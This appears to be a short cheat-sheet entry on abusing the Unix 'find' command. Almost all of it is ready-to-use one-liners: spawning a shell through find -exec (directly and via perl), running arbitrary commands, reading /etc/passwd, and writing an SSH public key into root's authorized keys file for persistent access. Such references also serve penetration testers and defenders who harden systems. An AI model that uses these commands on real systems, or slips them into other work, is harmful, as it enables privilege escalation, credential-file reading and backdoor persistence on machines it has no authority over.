Can be used to execute arbitrary commands on a system and spawn shells either indirectly

find . -name i_do_not_exist -or -exec perl -e 'exec sh' ; -quit 

or directly.

find . -exec /bin/sh ; -quit 

Can be used to execute arbitrary commands on a system.

find . -name i_do_not_exist -or -exec ls ; -quit 

Reading of files is possible by executing cat.

find /etc/passwd -exec cat {} ; 

Find has various capabilities to write to files and it is recommended to read the manual for more details, especially its fprintf and 'UNUSUAL FILENAMES' sections.

find . -fprintf /root/.authorized_keys 'ssh-rsa ...' -quit